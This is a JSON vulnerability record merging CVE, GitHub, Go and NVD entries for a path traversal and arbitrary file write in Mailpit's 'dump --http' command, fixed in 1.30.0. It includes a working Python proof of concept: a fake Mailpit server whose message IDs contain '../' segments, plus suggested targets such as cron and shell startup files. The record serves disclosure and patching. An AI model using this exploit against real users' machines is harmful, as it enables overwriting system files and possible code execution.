{"id":"CVE-2026-45711","aliases":["CVE-2026-45711","GHSA-qx5x-85p8-vg4j","GO-2026-5599"],"related":[],"kind":"vulnerability","state":"published","title":"Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs","summary":"Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes `..` segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. Version 1.30.0 contains a patch.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Mailpit is an email testing tool and API for developers. Prior to version 1.30.0, the mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes `..` segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory. Version 1.30.0 contains a patch.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe mailpit dump --http <base-url> <out-dir> sub-command downloads every message from a remote Mailpit instance and writes each one as <id>.eml inside the user-supplied output directory. The message ID field is taken verbatim from the JSON response of the remote server and concatenated into the output path with path.Join, which silently normalizes .. segments. A malicious HTTP server impersonating Mailpit can therefore make mailpit dump write attacker-controlled bytes to any path the running user can write, fully outside the intended output directory.\n\n### Details\nAnyone who can convince a user to run mailpit dump --http <attacker-url> <dir> (typosquat, phishing tutorial, MITM of a plain-http:// Mailpit, or a compromised internal Mailpit they back up regularly) obtains an arbitrary file write primitive as the dumping user. Realistic post-exploitation includes overwriting init/cron files, shell startup files, CI artifact upload targets, web roots, etc. — anything the dumping user can write to, with attacker-controlled file bytes and a .eml filename suffix.\n\n### Affected code\n[internal/dump/dump.go](https://github.com/axllent/mailpit/blob/develop/internal/dump/dump.go#L118-L155):\n\npath.Join(\"/safe/out/dir\", \"../../../../etc/cron.d/payload.eml\") resolves to /etc/cron.d/payload.eml — the .. segments are normalized, not rejected. The remote server controls both m.ID (path) and the body of /api/v1/message/<id>/raw (contents). There is no filepath.Rel(outDir, out) containment check, no allow-list on m.ID characters, and no body-size cap.\n\nThe underlying cause is that the command was added to back up a trusted Mailpit, but the trust model on the wire never gets validated — the operator only supplies a URL.\n\n### PoC\n\n1. Run a malicious \"Mailpit\" server that returns one message whose ID contains .. segments:\n\n```python\n# evil-mailpit.py\nimport http.server, json\n\nclass Evil(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        if \"/api/v1/messages\" in self.path:\n            resp = {\n                \"total\": 1, \"unread\": 0, \"count\": 1,\n                \"messages_count\": 1, \"messages_unread\": 0,\n                \"start\": 0, \"tags\": [],\n                \"messages\": [{\n                    \"ID\": \"../../../../tmp/mailpit-pwn\",          # ← traversal\n                    \"MessageID\": \"x\", \"Read\": False,\n                    \"From\": {\"Name\": \"\", \"Address\": \"a@b\"},\n                    \"To\":   [{\"Name\": \"\", \"Address\": \"c@d\"}],\n                    \"Cc\": None, \"Bcc\": None, \"ReplyTo\": [],\n                    \"Subject\": \"evil\",\n                    \"Created\": \"2026-01-01T00:00:00Z\",\n                    \"Tags\": [], \"Size\": 5,\n                    \"Attachments\": 0, \"Snippet\": \"\"\n                }]\n            }\n            body = json.dumps(resp).encode()\n            ctype = \"application/json\"\n        elif \"/raw\" in self.path:\n            body  = b\"PWNED BY MAILPIT DUMP TRAVERSAL\\n\"\n            ctype = \"text/plain\"\n        else:\n            self.send_response(404); self.end_headers(); return\n\n        self.send_response(200)\n        self.send_header(\"Content-Type\", ctype)\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\nhttp.server.HTTPServer((\"127.0.0.1\", 19090), Evil).serve_forever()\n```\n\n```\n$ python3 evil-mailpit.py &\n$ mkdir -p /tmp/dump-out\n$ mailpit dump --http http://127.0.0.1:19090/ /tmp/dump-out\n```\n\n2. Observe the file was written outside the requested output directory:\n\n```\n$ ls -la /tmp/dump-out/ /tmp/mailpit-pwn.eml\n/tmp/dump-out/                                        ← empty\ntotal 0\n-rw-r--r-- 1 user user 31 May 11 16:16 /tmp/mailpit-pwn.eml\n$ cat /tmp/mailpit-pwn.eml\nPWNED BY MAILPIT DUMP TRAVERSAL\n```\n\nThe same primitive trivially targets ~/.config/autostart/*.eml, ~/.bash_logout.eml (where it overwrites if symlinked), CI artifact dirs that ingest every file, or via long ../ chains any absolute path the user can write to.\n\n### Impact\nArbitrary file write via path traversal in mailpit dump --http, allowing a malicious Mailpit-compatible server to force writes outside the intended output directory. This can lead to overwriting sensitive files (e.g. cron jobs, CI artifacts, shell configs) and potential code execution depending on write location and privileges.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Mailpit: Path traversal & arbitrary file write in mailpit dump --http via attacker-controlled message IDs in github.com/axllent/mailpit","format":"markdown","source":"go"},{"lang":"es","text":"Mailpit es una herramienta de prueba de correo electrónico y API para desarrolladores. Antes de la versión 1.30.0, el subcomando mailpit dump --http [base-url] [out-dir] descarga cada mensaje de una instancia remota de Mailpit y escribe cada uno como [id].eml dentro del directorio de salida proporcionado por el usuario. El campo de ID del mensaje se toma textualmente de la respuesta JSON del servidor remoto y se concatena en la ruta de salida con path.Join, que normaliza silenciosamente los segmentos ’..’. Un servidor HTTP malicioso que suplanta a Mailpit puede, por lo tanto, hacer que mailpit dump escriba bytes controlados por el atacante en cualquier ruta en la que el usuario en ejecución pueda escribir, completamente fuera del directorio de salida previsto. La versión 1.30.0 contiene un parche.","source":"nvd"}],"published":"2026-05-19T15:53:09.000Z","modified":"2026-10-24T20:10:00.137Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L","score":5.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L","score":5.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:L","score":5.9,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","score":8.2,"rating":"HIGH"}],"cwes":["CWE-22","CWE-829"],"affected":[{"ranges":[{"version":"< 1.30.0","status":"affected"}],"vendor":"axllent","product":"mailpit","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.30.0"}],"ecosystem":"Go","package":"github.com/axllent/mailpit","purl":"pkg:golang/github.com/axllent/mailpit","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.30.0"}],"ecosystem":"Go","package":"github.com/axllent/mailpit","purl":"pkg:golang/github.com/axllent/mailpit","source":"go"},{"ranges":[{"status":"affected","fixed":"1.30.0"}],"vendor":"axllent","product":"mailpit","cpe":"cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/axllent/mailpit/security/advisories/GHSA-qx5x-85p8-vg4j","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/axllent/mailpit/releases/tag/v1.30.0","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45711","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/axllent/mailpit","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-07-21T15:38:53.037Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45711","url":"https://www.cve.org/CVERecord?id=CVE-2026-45711","licence":"CVE Terms of Use","modified":"2026-07-21T15:42:56.143Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qx5x-85p8-vg4j","url":"https://github.com/advisories/GHSA-qx5x-85p8-vg4j","licence":"CC-BY-4.0","modified":"2026-09-02T23:45:04.709Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5599","url":"https://pkg.go.dev/vuln/GO-2026-5599","licence":"CC-BY-4.0","modified":"2026-06-25T23:01:32.641Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45711","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45711","licence":"Public domain","modified":"2026-10-24T20:10:00.137Z"}],"updatedAt":"2026-11-25T22:59:29.236Z","epss":{"score":0.00311,"percentile":0.259,"date":"2026-12-01T12:00:22.000Z"}}